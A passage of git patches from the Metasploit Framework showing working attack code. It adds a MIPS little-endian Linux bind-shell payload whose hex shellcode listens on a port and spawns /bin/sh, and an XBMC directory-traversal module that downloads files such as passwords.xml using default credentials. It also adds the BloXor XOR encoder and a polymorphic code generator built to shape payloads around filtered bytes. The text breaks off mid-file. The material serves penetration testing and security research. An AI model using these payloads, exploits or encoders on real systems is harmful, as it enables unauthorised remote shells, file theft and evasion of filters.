From 2affb319587a2c3e8be8eef91415614c71d4e100 Mon Sep 17 00:00:00 2001 From: Vlatko Kosturjak Date: Sun, 28 Oct 2012 20:51:45 +0100 Subject: [PATCH 001/341] Initial import of linux-mipsle shell_bind_tcp --- .../singles/linux/mipsle/shell_bind_tcp.rb | 123 ++++++++++++++++++ 1 file changed, 123 insertions(+) create mode 100644 modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb new file mode 100644 index 0000000000..a291937378 --- /dev/null +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -0,0 +1,123 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell, Bind TCP Inline', + 'Version' => '$Revision$', + 'Description' => 'Listen for a connection and spawn a command shell', + 'Author' => 'Vlatko Kosturjak', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => {} , + 'Payload' => '' + }) + ) + end + + def generate + if(!datastore['LPORT'] or datastore['LPORT'].empty? ) + return super + end + + port = Integer(datastore['LPORT']) + port = [port].pack("n").unpack("cc"); + + # based on vaicebine at gmail dot com shellcode + # and scut paper Writing MIPS/Irix shellcode + shellcode = + "\xe0\xff\xbd\x27" + # addiu sp,sp,-32 + "\xfd\xff\x0e\x24" + # li t6,-3 + "\x27\x20\xc0\x01" + # nor a0,t6,zero + "\x27\x28\xc0\x01" + # nor a1,t6,zero + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x50\x30" + # andi s0,v0,0xffff + "\xef\xff\x0e\x24" + # li t6,-17 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + port.pack("C2") + "\x0d\x24" + # li t5,0xFFFF (port) + "\x04\x68\xcd\x01" + # sllv t5,t5,t6 + "\xff\xfd\x0e\x24" + # li t6,-513 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + "\x25\x68\xae\x01" + # or t5,t5,t6 + "\xe0\xff\xad\xaf" + # sw t5,-32(sp) + "\xe4\xff\xa0\xaf" + # sw zero,-28(sp) + "\xe8\xff\xa0\xaf" + # sw zero,-24(sp) + "\xec\xff\xa0\xaf" + # sw zero,-20(sp) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xef\xff\x0e\x24" + # li t6,-17 + "\x27\x30\xc0\x01" + # nor a2,t6,zero + "\xe0\xff\xa5\x23" + # addi a1,sp,-32 + "\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\x01\x01\x05\x24" + # li a1,257 + "\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xff\xff\x05\x28" + # slti a1,zero,-1 + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x50\x30" + # andi s0,v0,0xffff + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xfd\xff\x0f\x24" + # li t7,-3 + "\x27\x28\xe0\x01" + # nor a1,t7,zero + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\x01\x01\x05\x28" + # slti a1,zero,0x0101 + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x25\x20\x10\x02" + # or a0,s0,s0 + "\xff\xff\x05\x28" + # slti a1,zero,-1 + "\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 ) + "\x0c\x01\x01\x01" + # syscall + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\x50\x73\x06\x24" + # li a2,0x7350 + "\xff\xff\xd0\x04" + # LB: bltzal a2,LB + "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\xdb\xff\x0f\x24" + # li t7,-37 + "\x27\x78\xe0\x01" + # nor t7,t7,zero + "\x21\x20\xef\x03" + # addu a0,ra,t7 + "\xf0\xff\xa4\xaf" + # sw a0,-16(sp) + "\xf4\xff\xa0\xaf" + # sw zero,-12(sp) + "\xf0\xff\xa5\x23" + # addi a1,sp,-16 + "\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve ) + "\x0c\x01\x01\x01" + # syscall + "/bin/sh" + end + +end From dac331fa10d30d709cb1cd4201db35fe42b86118 Mon Sep 17 00:00:00 2001 From: Matt Andreko Date: Sat, 3 Nov 2012 22:19:48 -0400 Subject: [PATCH 002/341] Added XBMC Traversal exploit --- .../auxiliary/scanner/http/xbmc_traversal.rb | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 modules/auxiliary/scanner/http/xbmc_traversal.rb diff --git a/modules/auxiliary/scanner/http/xbmc_traversal.rb b/modules/auxiliary/scanner/http/xbmc_traversal.rb new file mode 100644 index 0000000000..11f48abaac --- /dev/null +++ b/modules/auxiliary/scanner/http/xbmc_traversal.rb @@ -0,0 +1,86 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "XBMC Web Server Directory Traversal", + 'Description' => %q{ + This module exploits a directory traversal bug in XBMC 11. + The module can only be used to retrieve files. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton + 'Lucas "acidgen" Lundgren IOActive', + 'Matt "hostess" Andreko', + ], + 'References' => + [ + ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'] + ], + 'DisclosureDate' => "Nov 1 2012" + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']), + OptString.new('USER', [true, 'The username to use for the HTTP server', 'xbmc']), + OptString.new('PASS', [true, 'The password to use for the HTTP server', 'xbmc']), + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + # No point to continue if no filename is specified + if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty? + print_error("Please supply the name of the file you want to download") + return + end + + # Create request + traversal = "../../../../../../../../.." + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", + 'basic_auth' => "#{datastore['USER']}:#{datastore['PASS']}" + }, 25) + + # Show data if needed + if res + if res.code == 200 + vprint_line(res.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'xbmc.http', + 'application/octet-stream', + ip, + res.body, + fname + ) + print_good("File saved in: #{path}") + elsif res.code == 401 + print_error("#{rhost}:#{rport} Authentication failed") + elsif res.code == 404 + print_error("#{rhost}:#{rport} File not found") + end + else + print_error("HTTP Response failed") + end + end +end From bda7f68b026ab43687722aae51595090fa35c864 Mon Sep 17 00:00:00 2001 From: Vlatko Kosturjak Date: Thu, 8 Nov 2012 02:00:49 +0100 Subject: [PATCH 003/341] Add zero byte on the end of the /bin/sh string --- modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index a291937378..735e2373fe 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -109,11 +109,16 @@ module Metasploit3 "\xff\xff\xd0\x04" + # LB: bltzal a2,LB "\x50\x73\x0f\x24" + # li t7,0x7350 (nop) "\xff\xff\x06\x28" + # slti a2,zero,-1 - "\xdb\xff\x0f\x24" + # li t7,-37 + "\xc7\xff\x0f\x24" + # li t7,-57 "\x27\x78\xe0\x01" + # nor t7,t7,zero "\x21\x20\xef\x03" + # addu a0,ra,t7 "\xf0\xff\xa4\xaf" + # sw a0,-16(sp) "\xf4\xff\xa0\xaf" + # sw zero,-12(sp) + "\xf7\xff\x0e\x24" + # li t6,-9 + "\x27\x70\xc0\x01" + # nor t6,t6,zero + "\x21\x60\xef\x03" + # addu t4,ra,t7 + "\x21\x68\x8e\x01" + # addu t5,t4,t6 + "\xff\xff\xa0\xad" + # sw zero,-1(t5) "\xf0\xff\xa5\x23" + # addi a1,sp,-16 "\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve ) "\x0c\x01\x01\x01" + # syscall From 6843aa3a6c1b34d9674576ae554b475decbb54b3 Mon Sep 17 00:00:00 2001 From: Matt Andreko Date: Thu, 8 Nov 2012 10:09:28 -0500 Subject: [PATCH 004/341] Added fix URL and a few more comments. Corrected date. --- modules/auxiliary/scanner/http/xbmc_traversal.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/xbmc_traversal.rb b/modules/auxiliary/scanner/http/xbmc_traversal.rb index 11f48abaac..2828421109 100644 --- a/modules/auxiliary/scanner/http/xbmc_traversal.rb +++ b/modules/auxiliary/scanner/http/xbmc_traversal.rb @@ -17,21 +17,22 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => "XBMC Web Server Directory Traversal", 'Description' => %q{ - This module exploits a directory traversal bug in XBMC 11. + This module exploits a directory traversal bug in XBMC 11, up until the 2012-11-04 nightly build. The module can only be used to retrieve files. }, 'License' => MSF_LICENSE, 'Author' => [ - 'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton + 'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton 'Lucas "acidgen" Lundgren IOActive', 'Matt "hostess" Andreko', ], 'References' => [ - ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'] + ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'], + ['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'], ], - 'DisclosureDate' => "Nov 1 2012" + 'DisclosureDate' => "Nov 4 2012" )) register_options( @@ -53,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary end # Create request - traversal = "../../../../../../../../.." + traversal = "../../../../../../../../.." #The longest of all platforms tested was 9 deep res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", @@ -75,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary ) print_good("File saved in: #{path}") elsif res.code == 401 - print_error("#{rhost}:#{rport} Authentication failed") + print_error("#{rhost}:#{rport} Authentication failed") elsif res.code == 404 print_error("#{rhost}:#{rport} File not found") end From 4ac79c91a69c8fbd27ae86ffec2ee15331af4f64 Mon Sep 17 00:00:00 2001 From: Vlatko Kosturjak Date: Sat, 17 Nov 2012 12:00:59 +0100 Subject: [PATCH 005/341] Remove spaces at EOL --- modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index 735e2373fe..2c4ae5e3a5 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -34,7 +34,7 @@ module Metasploit3 'Payload' => { 'Offsets' => {} , - 'Payload' => '' + 'Payload' => '' }) ) end @@ -46,7 +46,7 @@ module Metasploit3 port = Integer(datastore['LPORT']) port = [port].pack("n").unpack("cc"); - + # based on vaicebine at gmail dot com shellcode # and scut paper Writing MIPS/Irix shellcode shellcode = From 8e6e1bc16408ac51db418c8976bf8defed40d420 Mon Sep 17 00:00:00 2001 From: Stephen Fewer Date: Thu, 10 Jan 2013 17:39:40 +0000 Subject: [PATCH 006/341] open up the bloxor encoder. --- lib/rex/arch/x86.rb | 19 +- lib/rex/encoder/bloxor/bloxor.rb | 326 ++++++++++++ lib/rex/poly.rb | 1 + lib/rex/poly/machine.rb | 12 + lib/rex/poly/machine/machine.rb | 829 +++++++++++++++++++++++++++++++ lib/rex/poly/machine/x86.rb | 508 +++++++++++++++++++ modules/encoders/x86/bloxor.rb | 58 +++ test/tests/test_encoders.rb | 119 +++++ 8 files changed, 1868 insertions(+), 4 deletions(-) create mode 100644 lib/rex/encoder/bloxor/bloxor.rb create mode 100644 lib/rex/poly/machine.rb create mode 100644 lib/rex/poly/machine/machine.rb create mode 100644 lib/rex/poly/machine/x86.rb create mode 100644 modules/encoders/x86/bloxor.rb create mode 100644 test/tests/test_encoders.rb diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 16671ca21f..64b7d52302 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -22,16 +22,27 @@ module X86 ESI = DH = SI = 6 EDI = BH = DI = 7 - REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx', - 'esp', 'ebp', 'esi', 'edi' ] # :nodoc: - + REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi' ] + + REG_NAMES16 = [ 'ax', 'cx', 'dx', 'bx', 'sp', 'bp', 'si', 'di' ] + + REG_NAMES8L = [ 'al', 'cl', 'dl', 'bl', nil, nil, nil, nil ] + # Jump tp a specific register def self.jmp_reg(str) reg = reg_number(str) _check_reg(reg) "\xFF" + [224 + reg].pack('C') end - + + # + # Generate a LOOP instruction (Decrement ECX and jump short if ECX == 0) + # + def self.loop(offset) + "\xE2" + pack_lsb(rel_number(offset, -2)) + end + + # # This method returns the opcodes that compose a jump instruction to the # supplied relative offset. def self.jmp(addr) diff --git a/lib/rex/encoder/bloxor/bloxor.rb b/lib/rex/encoder/bloxor/bloxor.rb new file mode 100644 index 0000000000..b7684a32d1 --- /dev/null +++ b/lib/rex/encoder/bloxor/bloxor.rb @@ -0,0 +1,326 @@ + +require 'rex/poly/machine' + +module Rex + +module Encoder + + class BloXor < Msf::Encoder + + def initialize( *args ) + super + @machine = nil + @blocks_out = [] + @block_size = 0 + end + + # + # + # + def decoder_stub( state ) + + if( not state.decoder_stub ) + @blocks_out = [] + @block_size = 0 + + # XXX: It would be ideal to use a random block size but unless we know the maximum size our final encoded + # blob can be we should instead start with the smallest block size and go up to avoid generating + # anything too big (if we knew the max size we could try something smaller if we generated a blob too big) + #block_sizes = (1..state.buf.length).to_a.shuffle + #block_sizes.each do | len | + + 1.upto( state.buf.length ) do | len | + + # For now we ignore all odd sizes to help with performance (The rex poly machine + # doesnt have many load/store primitives that can handle byte sizes efficiently) + if( len % 2 != 0 ) + next + end + + blocks, size = compute_encoded( state, len ) + if( blocks and size ) + + # We sanity check that the newly generated block ammount and the block size + # are not in the badchar list when converted into a hex form. Helps speed + # things up a great deal when generating a decoder stub later as these + # values may be used throughout. + + if( not number_is_valid?( state, blocks.length - 1 ) or not number_is_valid?( state, ~( blocks.length - 1 ) ) ) + next + end + + if( not number_is_valid?( state, size ) or not number_is_valid?( state, ~size ) ) + next + end + + @blocks_out = blocks + @block_size = size + + break + end + end + + raise RuntimeError, "Unable to generate seed block." if( @blocks_out.empty? ) + + state.decoder_stub = compute_decoder( state ) + end + + state.decoder_stub + end + + # + # + # + def encode_block( state, data ) + + buffer = '' + + @blocks_out.each do | block | + buffer << block.pack( 'C*' ) + end + + buffer + end + + protected + + # + # Is a number in its byte form valid against the badchars? + # + def number_is_valid?( state, number ) + size = 'C' + if( number > 0xFFFF ) + size = 'V' + elsif( number > 0xFF ) + size = 'v' + end + return Rex::Text.badchar_index( [ number ].pack( size ), state.badchars ).nil? + end + + # + # Calculate Shannon's entropy. + # + def entropy( data ) + entropy = 0.to_f + (0..255).each do | byte | + freq = data.to_s.count( byte.chr ).to_f / data.to_s.length + if( freq > 0 ) + entropy -= freq * Math.log2( freq ) + end + end + return entropy / 8 + end + + # + # Compute the encoded blocks (and associated seed) + # + def compute_encoded( state, len ) + + blocks_in = ::Array.new + + input = '' << state.buf + + block_padding = ( input.length % len ) > 0 ? len - ( input.length % len ) : 0 + + if( block_padding > 0 ) + 0.upto( block_padding-1 ) do + input << [ rand( 255 ) ].pack( 'C' ) + end + end + + while( input.length > 0 ) + blocks_in << input[0..len-1].unpack( 'C*' ) + input = input[len..input.length] + end + + seed = compute_seed( blocks_in, len, block_padding, state.badchars.unpack( 'C*' ) ) + + if( not seed ) + return [ nil, nil ] + end + + blocks_out = [ seed ] + + blocks_in.each do | block | + blocks_out << compute_block( blocks_out.last, block ) + end + + return [ blocks_out, len ] + end + + # + # Generate the decoder stub which is functionally equivalent to the following: + # + # source = &end; + # dest = source + BLOCK_SIZE; + # counter = BLOCK_COUNT * ( BLOCK_SIZE / chunk_size ); + # do + # { + # encoded = *(CHUNK_SIZE *)dest; + # dest += chunk_size; + # decoded = *(CHUNK_SIZE *)source; + # *(CHUNK_SIZE *)source = decoded ^ encoded; + # source += chunk_size; + # } while( --counter ); + # + # end: + # + def compute_decoder( state ) + + @machine.create_variable( 'source' ) + @machine.create_variable( 'dest' ) + @machine.create_variable( 'counter' ) + @machine.create_variable( 'encoded' ) + @machine.create_variable( 'decoded' ) + + chunk_size = Rex::Poly::Machine::BYTE + if( @machine.native_size() == Rex::Poly::Machine::QWORD ) + if( @block_size % Rex::Poly::Machine::QWORD == 0 ) + chunk_size = Rex::Poly::Machine::QWORD + elsif( @block_size % Rex::Poly::Machine::DWORD == 0 ) + chunk_size = Rex::Poly::Machine::DWORD + elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + elsif( @machine.native_size() == Rex::Poly::Machine::DWORD ) + if( @block_size % Rex::Poly::Machine::DWORD == 0 ) + chunk_size = Rex::Poly::Machine::DWORD + elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + elsif( @machine.native_size() == Rex::Poly::Machine::WORD ) + if( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + end + + # Block 1 - Set the source variable to the address of the start block + @machine.create_block_primitive( 'block1', 'set', 'source', 'location' ) + + # Block 2 - Set the source variable to the address of the 1st encoded block + @machine.create_block_primitive( 'block2', 'add', 'source', 'end' ) + + # Block 3 - Set the destingation variable to the value of the source variable + @machine.create_block_primitive( 'block3', 'set', 'dest', 'source' ) + + # Block 4 - Set the destingation variable to the address of the 2nd encoded block + @machine.create_block_primitive( 'block4', 'add', 'dest', @block_size ) + + # Block 5 - Sets the loop counter to the number of blocks to process + @machine.create_block_primitive( 'block5', 'set', 'counter', ( ( @block_size / chunk_size ) * (@blocks_out.length - 1) ) ) + + # Block 6 - Set the encoded variable to the byte pointed to by the dest variable + @machine.create_block_primitive( 'block6', 'load', 'encoded', 'dest', chunk_size ) + + # Block 7 - Increment the destination variable by one + @machine.create_block_primitive( 'block7', 'add', 'dest', chunk_size ) + + # Block 8 - Set the decoded variable to the byte pointed to by the source variable + @machine.create_block_primitive( 'block8', 'load', 'decoded', 'source', chunk_size ) + + # Block 9 - Xor the decoded variable with the encoded variable + @machine.create_block_primitive( 'block9', 'xor', 'decoded', 'encoded' ) + + # Block 10 - store the newly decoded byte + @machine.create_block_primitive( 'block10', 'store', 'source', 'decoded', chunk_size ) + + # Block 11 - Increment the source variable by one + @machine.create_block_primitive( 'block11', 'add', 'source', chunk_size ) + + # Block 12 - Jump back up to the outer_loop block while the counter variable > 0 + @machine.create_block_primitive( 'block12', 'loop', 'counter', 'block6' ) + + # Try to generate the decoder stub... + decoder = @machine.generate + + if( not decoder ) + raise RuntimeError, "Unable to generate decoder stub." + end + + decoder + end + + # + # Compute the seed block which will successfully decode all proceeding encoded + # blocks while ensuring the encoded blocks do not contain any badchars. + # + def compute_seed( blocks_in, block_size, block_padding, badchars ) + seed = [] + redo_bytes = [] + + 0.upto( block_size-1 ) do | index | + + seed_bytes = (0..255).sort_by do + rand() + end + + seed_bytes.each do | seed_byte | + + next if( badchars.include?( seed_byte ) ) + + success = true + + previous_byte = seed_byte + + if( redo_bytes.length < 256 ) + redo_bytes = (0..255).sort_by do + rand() + end + end + + blocks_in.each do | block | + + decoded_byte = block[ index ] + + encoded_byte = previous_byte ^ decoded_byte + + if( badchars.include?( encoded_byte ) ) + # the padding bytes we added earlier can be changed if they are causing us to fail. + if( block == blocks_in.last and index >= (block_size-block_padding) ) + if( redo_bytes.empty? ) + success = false + break + end + block[ index ] = redo_bytes.shift + redo + end + + success = false + break + end + + previous_byte = encoded_byte + end + + if( success ) + seed << seed_byte + break + end + end + + end + + if( seed.length == block_size ) + return seed + end + + return nil + end + + # + # Compute the next encoded block by xoring the previous + # encoded block with the next decoded block. + # + def compute_block( encoded, decoded ) + block = [] + 0.upto( encoded.length-1 ) do | index | + block << ( encoded[ index ] ^ decoded[ index ] ) + end + return block + end + + end + +end + +end \ No newline at end of file diff --git a/lib/rex/poly.rb b/lib/rex/poly.rb index 7e3ebc6db0..428695c168 100644 --- a/lib/rex/poly.rb +++ b/lib/rex/poly.rb @@ -4,6 +4,7 @@ module Poly require 'rex/poly/register' require 'rex/poly/block' +require 'rex/poly/machine' ### # diff --git a/lib/rex/poly/machine.rb b/lib/rex/poly/machine.rb new file mode 100644 index 0000000000..9e60195da1 --- /dev/null +++ b/lib/rex/poly/machine.rb @@ -0,0 +1,12 @@ + +module Rex + + module Poly + + require 'metasm' + require 'rex/poly/machine/machine' + require 'rex/poly/machine/x86' + + end + +end diff --git a/lib/rex/poly/machine/machine.rb b/lib/rex/poly/machine/machine.rb new file mode 100644 index 0000000000..6bac6a8b1f --- /dev/null +++ b/lib/rex/poly/machine/machine.rb @@ -0,0 +1,829 @@ + +module Rex + + module Poly + + # + # A machine capable of creating a small blob of code in a metamorphic kind of way. + # Note: this is designed to perform an exhaustive search for a solution and can be + # slow. If you need a speedier option, the origional Rex::Polly::Block stuff is a + # better choice. + # + class Machine + + QWORD = 8 + DWORD = 4 + WORD = 2 + BYTE = 1 + + # + # A Permutation! + # + class Permutation + + attr_accessor :active, :offset + + attr_reader :name, :primitive, :length, :args + + # + # Create a new permutation object. + # + def initialize( name, primitive, machine, source, args=nil ) + @name = name + @primitive = primitive + @machine = machine + @source = source + @args = args + @active = false + @valid = true + @length = 0 + @offset = 0 + @children = ::Array.new + end + + # + # Add in a child permutation to this one. Used to build the permutation tree. + # + def add_child( child ) + @children << child + end + + # + # Does this permutation have children? + # + def has_children? + not @children.empty? + end + + # + # Remove any existing children. Called by the machines generate function + # to build a fresh tree in case generate was previously called. + # + def remove_children + @children.clear + end + + # + # Actully render this permutation into a raw buffer. + # + def render + raw = '' + # Zero the length as we will be rendering the raw buffer and the length may change. + @length = 0 + # If this permutation source is a Primitive/Procedure we can call it, otherwise we have a string + if( @source.kind_of?( Primitive ) or @source.kind_of?( ::Proc ) ) + if( @source.kind_of?( Primitive ) ) + raw = @source.call( @name, @machine, *@args ) + elsif( @source.kind_of?( ::Proc ) ) + raw = @source.call + end + # If the primitive/procedure returned an array, it is an array of assembly strings which we can assemble. + if( raw.kind_of?( ::Array ) ) + lines = raw + raw = '' + # itterate over each line of assembly + lines.each do | asm | + # parse the asm and substitute in any offset values specified... + offsets = asm.scan( /:([\S]+)_offset/ ) + offsets.each do | name, | + asm = asm.gsub( ":#{name}_offset", @machine.block_offset( name ).to_s ) + end + # and substitute in and register values for any variables specified... + regs = asm.scan( /:([\S]+)_reg([\d]+)/ ) + regs.each do | name, size | + asm = asm.gsub( ":#{name}_reg#{size}", @machine.variable_value( name, size.to_i ) ) + end + # assemble it into a raw blob + blob = @machine.assemble( asm ) + #if( not @machine.is_valid?( blob ) ) + # p "#{name}(#{primitive}):#{asm} is invalid" + #end + raw << blob + end + end + else + # the source must just be a static string + raw = @source + end + # Update the length to reflect the new raw buffer + @length = raw.to_s.length + # As the temp variable is only assigned for the duration of a single permutation we + # can now release it if it was used in this permutation. + @machine.release_temp_variable + return raw.to_s + end + + # + # Test if this permutation raw buffer is valid in this machine (e.g. against the badchar list). + # + def is_valid? + result = false + if( @valid ) + begin + result = @machine.is_valid?( self.render ) + rescue UnallowedPermutation + # This permutation is unallowed and can never be rendered so just mark it as + # not valid to skip it during future attempts. + @valid = false + rescue UndefinedPermutation + # allow an undefined permutation to fail validation but keep it marked + # as valid as it may be defined and passed validation later. + ensure + # Should a temporary variable have been assigned we can release it here. + @machine.release_temp_variable + end + end + return result + end + + # + # Try to find a solution within the solution space by performing a depth first search + # into the permutation tree and backtracking when needed. + # + def solve + # Check to see if this permutation can make part of a valid solution + if( self.is_valid? ) + # record this permutation as part of the final solution (the current machines register state is also saved here) + @machine.solution_push( self ) + # If we have no children we are at the end of the tree and have a potential full solution. + if( not self.has_children? ) + # We have a solution but doing a final pass to update offsets may introduce bad chars + # so we test for this and keep searching if this isnt a real solution after all. + if( not @machine.solution_is_valid? ) + # remove this permutation and keep searching + @machine.solution_pop + return false + end + # Return true to unwind the recursive call as we have got a final solution. + return true + end + # Itterate over the children of this permutation (the perutations of the proceeding block). + @children.each do | child | + # Traverse into this child to keep trying to generate a solution... + if( child.solve ) + # Keep returning true to unwind as we are done. + return true + end + end + # If we get here this permutation, origionally thought to be good for a solution, is not after all, + # so remove it from the machines final solution, restoring the register state aswell. + @machine.solution_pop + end + # No children can be made form part of the solution, return failure for this path in the tree. + return false + end + + end + + # + # A symbolic permutation to mark locations like the begining and end of a group of blocks. + # Used to calculate usefull offsets. + # + class SymbolicPermutation < Permutation + def initialize( name, machine, initial_offset=0 ) + super( name, '', machine, '' ) + # fudge the initial symbolic offset with a default (it gets patched correctly later), + # helps with the end symbolic block to not be 0 (as its a forward reference it really + # slows things down if we leave it 0) + @offset = initial_offset + # A symbolic block is allways active! + @active = true + end + + # + # We block all attempts to set the active state of this permutation so as + # it is always true. This lets us always address the offset. + # + def active=( value ) + end + end + + # + # A primitive is a machine defined permutation which accepts some arguments when it is called. + # + class Primitive + + # + # Initialize this primitive with its target source procedure and the machine it belongs to. + # + def initialize( source ) + @source = source + end + + # + # Call the primitives source procedure, passing in the arguments. + # + def call( name, machine, *args ) + return @source.call( name, machine, *args ) + end + + end + + # + # + # + class Block + + #attr_accessor :next, :previous + attr_reader :name + + def initialize( name ) + @name = name + @next = nil + @previous = nil + @permutations = ::Array.new + end + + def shuffle + @permutations = @permutations.shuffle + end + + def solve + @permutations.first.solve + end + + def << ( permutation ) + @permutations << permutation + end + + def each + @permutations.each do | permutation | + yield permutation + end + end + + end + + # + # A class to hold a solution for a Rex::Poly::Machine problem. + # + class Solution + + attr_reader :offset + + def initialize + @permutations = ::Array.new + @reg_state = ::Array.new + @offset = 0 + end + + # + # Reset this solution to an empty state. + # + def reset + @offset = 0 + @permutations.each do | permutation | + permutation.active = false + permutation.offset = 0 + end + @permutations.clear + @reg_state.clear + end + + # + # Push a new permutation onto this solutions permutations list and save the associated register/variables state + # + def push( permutation, reg_available, reg_consumed, variables ) + permutation.active = true + permutation.offset = @offset + @offset += permutation.length + @permutations.push( permutation ) + @reg_state.push( [ [].concat(reg_available), [].concat(reg_consumed), {}.merge(variables) ] ) + end + + # + # Pop off the last permutaion and register/variables state from this solution. + # + def pop + reg_available, reg_consumed, variables = @reg_state.pop + permutation = @permutations.pop + permutation.active = false + permutation.offset = 0 + @offset -= permutation.length + return permutation, reg_available, reg_consumed, variables + end + + # + # Render the final buffer. + # + def buffer + previous_offset = nil + count = 0 + # perform an N-pass fixup for offsets... + while( true ) do + # If we cant get the offsets fixed within a fixed ammount of tries we return + # nil to indicate failure and keep searching for a solution that will work. + if( count > 64 ) + return nil + end + # Reset the solution offset so as to update it for this pass + @offset = 0 + # perform a single pass to ensure we are using the correct offset values + @permutations.each do | permutation | + permutation.offset = @offset + # Note: calling render() can throw both UndefinedPermutation and UnallowedPermutation exceptions, + # however as we assume we only ever return the buffer once a final solution has been generated + # we should never have either of those exceptions thrown. + permutation.render + @offset += permutation.length + end + # If we have generated two consecutive passes which are the same length we can stop fixing up the offsets. + if( not previous_offset.nil? and @offset == previous_offset ) + break + end + count +=1 + previous_offset = @offset + end + # now a final pass to render the solution into the raw buffer + raw = '' + @permutations.each do | permutation | + 